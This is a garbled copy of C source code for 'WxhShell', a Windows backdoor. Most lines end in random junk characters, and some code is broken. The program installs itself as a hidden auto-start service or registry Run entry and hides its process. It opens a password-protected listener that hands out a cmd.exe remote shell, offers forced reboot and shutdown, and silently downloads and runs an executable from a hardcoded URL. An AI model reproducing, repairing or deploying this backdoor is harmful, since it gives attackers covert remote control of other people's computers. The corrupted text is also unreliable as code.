  case 'd': { ?% X9XH/!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {x4[Bx1  
    if(Boot(SHUTDOWN)) '-S&i{H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '; dW'Uwc  
    else { 4GfLS.Ip  
    closesocket(wsh); #-Rz`Y<&  
    ExitThread(0); .apX72's,  
    } y;Zfz~z  
    break; pjCWg 4ya  
    } ,%'0e /  
  // 获取shell 9HE(*S  
  case 's': { w.Vynb  
    CmdShell(wsh); /C:'qhY,  
    closesocket(wsh); LA?\~rh!  
    ExitThread(0); ._&lG3'  
    break; >a7(A#3@d  
  } IeB6r+4|  
  // 退出 H/3Zdj 9  
  case 'x': { L_|uB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xe SbA  
    CloseIt(wsh); $048y X 7M  
    break; ^!<7#kX  
    } w~U`+2a3  
  // 离开 BR^J y<^F'  
  case 'q': { &7T H V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `zp2;]W  
    closesocket(wsh); j?f <hQ  
    WSACleanup(); {?mQqoZ?.  
    exit(1); SO<m(o)G2  
    break; iHn!KV  
        } eM+;x\jo?  
  } DjzUH{6O  
  } ' f$L  
d `kM0C  
  // 提示信息 S%X\ ,N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P"x-7>c>Y  
} U('<iw,Yy  
  } uT}TSwgp  
paNw5] -  
  return;  A<Z 5  
} B`B%:#  
XLmMK{gs  
// shell模块句柄 f4k5R  
int CmdShell(SOCKET sock) 6#)Jl  
{ 9J7J/]7f  
STARTUPINFO si; A3$aMCwKd  
ZeroMemory(&si,sizeof(si)); J`q}Ry;   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [DxefYyI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ok>(>K<r  
PROCESS_INFORMATION ProcessInfo; 9*|3E"Vr  
char cmdline[]="cmd"; gXu^"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lW$&fuDHF  
  return 0; i.t9jN  
} :5S |x/  
R6Zj=l[  
// 自身启动模式 c',:@2R  
int StartFromService(void) P-+M,>vNy[  
{ $% Ci8p  
typedef struct < m enABN4  
{ Q)Iv_N/  
  DWORD ExitStatus; 4Oy.,MDQP  
  DWORD PebBaseAddress; fJWxJSdi  
  DWORD AffinityMask; sm;E2BR$ `  
  DWORD BasePriority; {^cF(7p  
  ULONG UniqueProcessId; {?*<B=c  
  ULONG InheritedFromUniqueProcessId; * -KJh_  
}   PROCESS_BASIC_INFORMATION; d1V^2Hb?  
*p&^!ct  
PROCNTQSIP NtQueryInformationProcess; dP$8JI{  
StU  4{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R CBf;$O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @S}/g/+2  
kmlG3hOR,  
  HANDLE             hProcess; DS:>/m>)  
  PROCESS_BASIC_INFORMATION pbi; 1BQ0M{&  
t7w-TJvP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z\fW )/  
  if(NULL == hInst ) return 0; `DLp<_z>  
wMb)6YZs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O^9CV*]!n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R_Zv'y6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o84UFhm   
;n`R\NO9  
  if (!NtQueryInformationProcess) return 0; D##+)`dK  
Y5dD|]F|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l0gY~T/#3  
  if(!hProcess) return 0; |K L')&"  
%#~((m1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?X\3&Ujy$  
U1ZIuDg'E  
  CloseHandle(hProcess); #6Jc}g< ?g  
Kv(z4z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AXwaVLEBQ  
if(hProcess==NULL) return 0; wfgqgPo!v  
opsQn\4DZ?  
HMODULE hMod; qG<7hr@x]  
char procName[255]; Hd9XfU  
unsigned long cbNeeded; lT2 4JhJ#  
-?s&pKi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U@G"`RYl  
`@[l\.Vt:  
  CloseHandle(hProcess); bEm7QgV{X  
|0`hE;Kt7  
if(strstr(procName,"services")) return 1; // 以服务启动 <5S@ORN  
j5Qo*p  
  return 0; // 注册表启动 oM!xz1kVL  
} f-Jbs`(+  
E<>*(x/\e  
// 主模块 'JieIKu  
int StartWxhshell(LPSTR lpCmdLine) NzQ9Z1Mxy  
{  UXT p  
  SOCKET wsl; ~ 3^='o  
BOOL val=TRUE; bB!#:j>(v  
  int port=0; pY@Y?Jj  
  struct sockaddr_in door; Q_]d5pl  
A4.4Dji,x  
  if(wscfg.ws_autoins) Install(); xl(@C*.sC1  
O. ,3|  
port=atoi(lpCmdLine); (a@?s$LG  
~. YWV  
if(port<=0) port=wscfg.ws_port; fH\X  
t 42ub  
  WSADATA data; M*sR3SZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %@Oma  
1|{bDlmt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D-2.fjo9!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +uo{ m~_4  
  door.sin_family = AF_INET; ljC(L/I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8'Z:ydj^,  
  door.sin_port = htons(port); k|vI<:'p,  
iCj2"T4TN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -`b8T0?oK  
closesocket(wsl); .pPm~2]z  
return 1; <q (z>*-e  
} oR .cSGh  
qJPT%r  
  if(listen(wsl,2) == INVALID_SOCKET) { %zBCq"y  
closesocket(wsl); t23'x0l  
return 1; GOT1@.Y  
} 6"/WZmOp  
  Wxhshell(wsl); 1PH: \0}  
  WSACleanup(); @{hd{>K*  
2S"Nf8>zp  
return 0; m8R9{LC  
G{Yz8]m  
} B9R(&<4  
;G |i^  
// 以NT服务方式启动 O`G/=/GZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |re}6#TgcT  
{ hR#-u1C  
DWORD   status = 0; #[{3} %b  
  DWORD   specificError = 0xfffffff; *&BnF\?m  
+Hvc_Av''  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xu5ia|gYz7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dU)]:>Uz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <%.5hCTp97  
  serviceStatus.dwWin32ExitCode     = 0; <"N_j]wD  
  serviceStatus.dwServiceSpecificExitCode = 0; &H}r%%|A  
  serviceStatus.dwCheckPoint       = 0; S$TmZk=  
  serviceStatus.dwWaitHint       = 0; N;Dp~(1 J1  
b-ll  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C+[%7vF1  
  if (hServiceStatusHandle==0) return; Snp|!e  
3@+b }9s8  
status = GetLastError(); PZxAH9 S?  
  if (status!=NO_ERROR) z>sbr<doa  
{ m>USD? i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '* mH*?Y  
    serviceStatus.dwCheckPoint       = 0; XU!2YO)t;!  
    serviceStatus.dwWaitHint       = 0; ZkL8e  
    serviceStatus.dwWin32ExitCode     = status; 2M#M"LHo  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1b=lpw 1}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Wd-Zn%  
    return; &'cL%.  
  } r/pH_@  
Xq'cA9v=$J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |*Z$E$k:  
  serviceStatus.dwCheckPoint       = 0; s { #3r  
  serviceStatus.dwWaitHint       = 0; 9T#;,{VQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f#+el y  
} ]7-&V-Ct*  
COH<Tj  
// 处理NT服务事件,比如:启动、停止 %ZHP2j %~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n>@oBG)!  
{ N0hE4t  
switch(fdwControl) ga?*DI8w  
{ *JggU  
case SERVICE_CONTROL_STOP: wFG3KzEq ~  
  serviceStatus.dwWin32ExitCode = 0; zD?oXs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3u%{dGa  
  serviceStatus.dwCheckPoint   = 0; Ol4+_n8xj  
  serviceStatus.dwWaitHint     = 0;  hi g2  
  { .<kqJ|SVi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pr%nbl  
  } SG6sw]x  
  return;  XL7h}  
case SERVICE_CONTROL_PAUSE: J2uZmEt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wAnb Di{W  
  break; d)~Fmi;  
case SERVICE_CONTROL_CONTINUE: f/CuE%7BR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,3nN[)dk  
  break; bWOS `5  
case SERVICE_CONTROL_INTERROGATE: R8.CC1Ix  
  break; 0uBl>A7qhn  
}; o)'y.-@Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ef<b~E@  
} GF3/RT9  
@)SL_9  
// 标准应用程序主函数 LM2TZ   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;5@  t[r  
{ ZE%YXG  
aL\nT XakX  
// 获取操作系统版本 {3&|tk!*  
OsIsNt=GetOsVer(); 9cJH"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qt|c1@J  
G7D2{J{1  
  // 从命令行安装 t(="h6i  
  if(strpbrk(lpCmdLine,"iI")) Install(); {[+2n]f_G  
id$Ul?z8  
  // 下载执行文件 NH3cq  
if(wscfg.ws_downexe) { +iI&c s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ne^imht  
  WinExec(wscfg.ws_filenam,SW_HIDE); cV`E>w=D0  
} .Lfo)?zG  
wY"Q o7  
if(!OsIsNt) { Z{H5oUk  
// 如果时win9x,隐藏进程并且设置为注册表启动 cHa]xmy%r'  
HideProc(); %Ts PyiYl  
StartWxhshell(lpCmdLine); Oh4AsOj@  
} , lJ  v  
else 1 E22R  
  if(StartFromService()) !~h}8'a?  
  // 以服务方式启动 e${)w-R/e  
  StartServiceCtrlDispatcher(DispatchTable); &7_Qd4=08w  
else \%p34K\  
  // 普通方式启动 nJ" '  
  StartWxhshell(lpCmdLine); 9aJ%`i  
b=/curl&  
return 0; D\e8,,H  
} =w$}m_AM  
mq%<6/Y U  
#Z5}2soA  
&hk-1y9QS  
=========================================== <r3J0)r}  
*OyHHq|>q  
2./ 3 \n2  
oP4GEr  
SvR7e C  
E#F/88(  
" M5x U9]B  
>,DbNmi  
#include <stdio.h> ~ Uo)0  
#include <string.h> _.-;5M-  
#include <windows.h> R-P-i0 ~  
#include <winsock2.h> ~gu3g^<0v  
#include <winsvc.h> G-T0f  
#include <urlmon.h> ''|#cEc)  
}E_#k]#*  
#pragma comment (lib, "Ws2_32.lib") ,$eK-w  
#pragma comment (lib, "urlmon.lib") D?Ux[Ozb  
Ig5L$bAM~  
#define MAX_USER   100 // 最大客户端连接数 P#:?ok  
#define BUF_SOCK   200 // sock buffer CX m+)a-L  
#define KEY_BUFF   255 // 输入 buffer gI8Bx]  
w eQYQrN  
#define REBOOT     0   // 重启 F H1Z 2  
#define SHUTDOWN   1   // 关机 zuJtpMn  
{%#)5l)  
#define DEF_PORT   5000 // 监听端口 ] 7 _`]7p  
N&[D>G]>v  
#define REG_LEN     16   // 注册表键长度 4Yl;  
#define SVC_LEN     80   // NT服务名长度 sm$ (Y.N  
#M!!CX*k  
// 从dll定义API ^3hn0DVQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #b7$TV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _uJ"m8Tl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -[qq(E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ( 9]_ HW[  
. <tq6 1  
// wxhshell配置信息 q%5eVG  
struct WSCFG { _{|D  
  int ws_port;         // 监听端口 ` }3qhar  
  char ws_passstr[REG_LEN]; // 口令 B&N/$= 5m  
  int ws_autoins;       // 安装标记, 1=yes 0=no )Af~B'OUd  
  char ws_regname[REG_LEN]; // 注册表键名 h!m_PgRSs  
  char ws_svcname[REG_LEN]; // 服务名 V_Wwrhua  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0cT*z(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^_ojR4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LOTP*Syjf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z/ Tm)Xd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TT9z_Q5~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XO <y +  
w}{5#   
}; %0Y=WYUH>  
pMs AyCAk  
// default Wxhshell configuration s :`8ZBz~  
struct WSCFG wscfg={DEF_PORT, (5Sivw*mP  
    "xuhuanlingzhe", c/ 5W4_J  
    1, d(:3   
    "Wxhshell", ``A 0WN  
    "Wxhshell", NvN~@TL28  
            "WxhShell Service", Uje|`<X  
    "Wrsky Windows CmdShell Service", VtOZ%h[#  
    "Please Input Your Password: ", ?b!Fa  
  1, sK=0Np=`  
  "http://www.wrsky.com/wxhshell.exe", A6oq.I0  
  "Wxhshell.exe" ql<rU@  
    }; a=TG[* s  
 mA7m  
// 消息定义模块 >*$;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; % },Pe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gDIBnH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wC-Rr^q  
char *msg_ws_ext="\n\rExit."; oQ=>'w  
char *msg_ws_end="\n\rQuit."; @t1V o}c  
char *msg_ws_boot="\n\rReboot..."; TPE:e)GO  
char *msg_ws_poff="\n\rShutdown..."; NU (AEfF  
char *msg_ws_down="\n\rSave to "; yFhB>i  
C[WCg9Av  
char *msg_ws_err="\n\rErr!"; umLb+GbI4  
char *msg_ws_ok="\n\rOK!"; gN {'UDg  
pG"5!42M!  
char ExeFile[MAX_PATH]; IHC1G1KW=A  
int nUser = 0; =e?$M  
HANDLE handles[MAX_USER]; 'lZ.j&  
int OsIsNt; [i]r-|_K  
YK{a  
SERVICE_STATUS       serviceStatus; UhmTr[&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u-"c0@  
AOrHU M[I  
// 函数声明 D5?phyC[Z  
int Install(void); UofTll)  
int Uninstall(void); zhB">j8j  
int DownloadFile(char *sURL, SOCKET wsh); }1-I[q6  
int Boot(int flag); zdSh:  
void HideProc(void); *5,c Rz  
int GetOsVer(void); mKq"3 4F  
int Wxhshell(SOCKET wsl); M2@^bB\J  
void TalkWithClient(void *cs); ~2 u\  
int CmdShell(SOCKET sock); 3z;_KmM  
int StartFromService(void); $\AEWFB  
int StartWxhshell(LPSTR lpCmdLine); t5 a7DD  
PNSMcakD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -v?hqWMp#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7m5Co>NkuK  
g<\z=H  
// 数据结构和表定义 H;WY!X$x  
SERVICE_TABLE_ENTRY DispatchTable[] = }jF+`!*!  
{ R|!B,b(  
{wscfg.ws_svcname, NTServiceMain}, Kud'pZ{P  
{NULL, NULL} o/^;@5\  
}; )y7_qxwbV  
cjULX+h  
// 自我安装 VanB>|p6  
int Install(void) > 7`&0?  
{ o07IcIo  
  char svExeFile[MAX_PATH]; P"7ow-  
  HKEY key; ?a/n<V '  
  strcpy(svExeFile,ExeFile); &S74mV  
>qT'z$  
// 如果是win9x系统,修改注册表设为自启动 @{Py%  
if(!OsIsNt) { wX1ig  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o4=Yu7L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )"O{D`uX  
  RegCloseKey(key); POU}/e!Ua  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nq`q[KV:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7y*ZXT]f  
  RegCloseKey(key); dYOF2si~%  
  return 0; p*;Qz  
    } UCqs}U8  
  } zREJ#r  
} p {%t q$}.  
else { 9(VRq^Z1  
m[2'd  
// 如果是NT以上系统,安装为系统服务 w.kCBDL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a5`eyL[f  
if (schSCManager!=0) ?p8k{N(1  
{ wFlV=!>,  
  SC_HANDLE schService = CreateService WO%h"'iJ  
  ( +p/1x'J  
  schSCManager, K^i"9D)A  
  wscfg.ws_svcname, 5A_4\YpDR  
  wscfg.ws_svcdisp, >BqCkyM9Kf  
  SERVICE_ALL_ACCESS, Ht=$] Px  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6 `puTL?  
  SERVICE_AUTO_START, |ViU4&d*  
  SERVICE_ERROR_NORMAL, lg/sMF>z\f  
  svExeFile, ^Qh-(u`  
  NULL, LR$z0rDEM  
  NULL, <]#o*_aFP  
  NULL, h-'wV${b  
  NULL, \K`jCsT  
  NULL {Jx7_T&  
  );  t9*=  
  if (schService!=0) \5[-Ml  
  { `facFt[\  
  CloseServiceHandle(schService); [n:PNB  
  CloseServiceHandle(schSCManager); ^L O]Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?6:cNdN  
  strcat(svExeFile,wscfg.ws_svcname); 29O]S8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G\/IM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M]ap:  
  RegCloseKey(key); o8D{dS>,PL  
  return 0; ( Yi=v'd  
    } w#{l 4{X|  
  } h;n\*[fDc  
  CloseServiceHandle(schSCManager); '?}R4w|)  
} ?Leyz  
} LkaG[^tfN  
g3a/;wl  
return 1; 9A*rE.B+W  
} 9qeZb%r&  
}vsO^4Sjc  
// 自我卸载 .wri5  
int Uninstall(void) $eCGez<E  
{ ;vUxO<cKFq  
  HKEY key; }*-u$=2  
5byeWH0n3  
if(!OsIsNt) { 4Bo<4 4-,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $F1_^A[  
  RegDeleteValue(key,wscfg.ws_regname); /d]~ly @uI  
  RegCloseKey(key); HwW6tQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '{^8_k\}B  
  RegDeleteValue(key,wscfg.ws_regname); SEU\}Ni{  
  RegCloseKey(key); ^+a  
  return 0; 5h(jeT8"  
  } uri*lC  
} X4 Y  
} |Pf(J;'[  
else { NY 4C@@"  
;&7,7 3!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uA^hCh-js  
if (schSCManager!=0) '2wCP EC  
{ 9C?cm:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kyK'  
  if (schService!=0) wVQdUtmk  
  { :r^klJ(m  
  if(DeleteService(schService)!=0) { pzAoq)gg:  
  CloseServiceHandle(schService); Dx0O'uwR  
  CloseServiceHandle(schSCManager); RCCv>o  
  return 0; # hZQ>zcF  
  } bm^X!i5  
  CloseServiceHandle(schService); uNg'h/^NZ|  
  }  /+N|X  
  CloseServiceHandle(schSCManager); /bi6>GaC:E  
} +>u>`|  
} UIz:=DJ  
)]tvwEo  
return 1; db^aL8  
} jwq\stjD  
,y{0bq9*2  
// 从指定url下载文件 `i9N )3 X  
int DownloadFile(char *sURL, SOCKET wsh) /M]eZ~QKD  
{ zw,-.fmM#  
  HRESULT hr; UDVf@[[hN  
char seps[]= "/"; `,Xb8^M2  
char *token; z'T=]- D  
char *file; au,jAk  
char myURL[MAX_PATH]; TbMdQbj}  
char myFILE[MAX_PATH]; ZWFG?8lJ  
B(8mH  
strcpy(myURL,sURL); )tScc*=8  
  token=strtok(myURL,seps); YWSz84d  
  while(token!=NULL) gA{'Q\  
  { hEWx.  
    file=token; luibB&p1  
  token=strtok(NULL,seps); epn#qeX  
  } FOc|*>aKP  
amMjuyW  
GetCurrentDirectory(MAX_PATH,myFILE); {x7=;-  
strcat(myFILE, "\\"); -% >8.#~G  
strcat(myFILE, file); tp%|AD"  
  send(wsh,myFILE,strlen(myFILE),0); AfUZO^<  
send(wsh,"...",3,0); \QliHm!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \Bt =bu>Z  
  if(hr==S_OK) d3Y(SPO  
return 0; .\Ul!&y  
else kJI3`gS+  
return 1; Mm "Wk  
l6V%"Lo/)  
} P`p6J8}4  
]{(l;k9=e  
// 系统电源模块 mm_^gQ,`  
int Boot(int flag) n"mJEkHE  
{ {%=S+89l  
  HANDLE hToken; kNRyOUy  
  TOKEN_PRIVILEGES tkp; nrF%wH/5  
"|F. 'qZrm  
  if(OsIsNt) { EbG_43SV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (L`l+t1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); anK[P'Y  
    tkp.PrivilegeCount = 1; cT_uJbP+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; giaD9$C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hN& yc  
if(flag==REBOOT) { 4sj9Z:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;&K3 [;a  
  return 0; wDB)&b  
} v$[ @]`  
else { iP2U]d~M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FTbT9   
  return 0; BHF{-z  
} ^Yf3"D?&  
  } J'|=*#  
  else { Bh\ [ CY  
if(flag==REBOOT) { o~Bk0V=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nsZDZ/jx  
  return 0; lO551Y^  
} qRgK_/[]  
else { :5r:I[FFy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UN,<6D3\b  
  return 0; -$AjD?;   
} "CIpo/ebL  
} oN.Mra]D  
h{Oz*Bq  
return 1; TvQWdX=  
} {[l'S  
j'G"ZPw1  
// win9x进程隐藏模块 29R_n)ne  
void HideProc(void) {KW&wsI  
{ EZ:I$X  
5Z^$`$/.v#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p5lR-G  
  if ( hKernel != NULL ) 2A dX)iF@  
  { DH}s1mNMP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :GN)7|:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R=2 gtW"r  
    FreeLibrary(hKernel); 1.hOE>A%  
  } N%|^;4}k  
~*66 3pA  
return; 2&^,IIp  
} ,\|n=T,  
^U0apI  
// 获取操作系统版本 E&RoaY0  
int GetOsVer(void) 6LSPPMM  
{ S#dyRTmI  
  OSVERSIONINFO winfo; :d!i[W*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OlD7-c2L]  
  GetVersionEx(&winfo); G:E+s(x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |_Naun=+~  
  return 1; S+` !%hJ  
  else y>)mSl@1y  
  return 0; +^^S'mP8  
} i~v@  
rwi2kk#@P  
// 客户端句柄模块 {GGO')p  
int Wxhshell(SOCKET wsl) 9m<X-B&P  
{ :Olj  
  SOCKET wsh; |-SI(Khjk  
  struct sockaddr_in client; -9tXv+v?  
  DWORD myID; b&U5VA0=1  
[)b/uR  
  while(nUser<MAX_USER) |Oj,S|Z:  
{ Gaw,1Ow!`2  
  int nSize=sizeof(client); (HTk;vbZm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xX/Qoq (}i  
  if(wsh==INVALID_SOCKET) return 1; S`'uUvAA  
e+]YCp[(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;6\Ski0=l  
if(handles[nUser]==0) EF_h::A_  
  closesocket(wsh); 1*x5/b  
else ?j^?@%f0  
  nUser++; T$>=+U  
  } hg86#jq%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =8VJ.{xy_e  
V, "AG  
  return 0; N2S!.H!Wz  
} .{Eg(1At  
+Fkx")  
// 关闭 socket *YE IG#`  
void CloseIt(SOCKET wsh) =t>`< T|(  
{ <R]Wy}2-  
closesocket(wsh); #L+s%OJ`  
nUser--; ^*owD;]4_  
ExitThread(0); H'0J1\ h  
} >P]I&S-.  
w~FO:/  
// 客户端请求句柄 XN0RT>@  
void TalkWithClient(void *cs) 8xGkh?%  
{ :h](;W>H  
BYA=M*f  
  SOCKET wsh=(SOCKET)cs; Y9(i}uTi  
  char pwd[SVC_LEN]; []]LyWk  
  char cmd[KEY_BUFF]; y&O_Jyg<  
char chr[1]; c9_4 ohB  
int i,j; YM4U.! 4o  
}M"'K2_Z  
  while (nUser < MAX_USER) { qo&SJDG  
f*R_\  
if(wscfg.ws_passstr) { #@OKp,LJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5x L,~"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -iZjs  
  //ZeroMemory(pwd,KEY_BUFF); b ffml  
      i=0; k3htHCf*G$  
  while(i<SVC_LEN) { P$#}-15?|_  
*IfIRR>3l(  
  // 设置超时 oCru5F  
  fd_set FdRead; EPUJa~4  
  struct timeval TimeOut; ?[|4QzR  
  FD_ZERO(&FdRead); 7$!Bq#  
  FD_SET(wsh,&FdRead); 'kONb  
  TimeOut.tv_sec=8; ? wiq 3f6  
  TimeOut.tv_usec=0; UVuuIW0k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g_U*_5doA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '&L   
&wWGZ~T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N`mC_)  
  pwd=chr[0]; '1T v1  
  if(chr[0]==0xd || chr[0]==0xa) { xVmUmftD  
  pwd=0; :~YyHX  
  break; uZ{xt6 f  
  } #cg@Z  
  i++; a*ixs'MJ  
    } <zWQ[^  
mwiPvwHrg  
  // 如果是非法用户,关闭 socket hD~/6bx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R=f5:8D<-  
} :zk.^q  
^rZ+H@p:6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !ilDR<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZkG##Jp\>  
L?5t <`#lw  
while(1) { Kof-;T  
"+OMo-<K7  
  ZeroMemory(cmd,KEY_BUFF); JSP8Lu"n  
!{- 3:N7  
      // 自动支持客户端 telnet标准   $TUC?e9"h  
  j=0; { l~T~3/i  
  while(j<KEY_BUFF) { ry=[:\Z~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2yg'?tpj  
  cmd[j]=chr[0]; )FiU1E  
  if(chr[0]==0xa || chr[0]==0xd) { p~y 4q4  
  cmd[j]=0; WxI]Fcb<  
  break; ~wV98u-N  
  } m=b+V#4i(  
  j++; Jrrk$0H^~  
    } 2/NWWoKw  
B,qZwc|  
  // 下载文件 V'#u_`x"D)  
  if(strstr(cmd,"http://")) { 81 Not  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :)S4MoG  
  if(DownloadFile(cmd,wsh)) R3 =E?us!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `9)2nkJk'z  
  else    r3K:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jWjK-q@Y  
  } xL#oP0d<e  
  else { u8\QhUk'G  
MO+0]uh:  
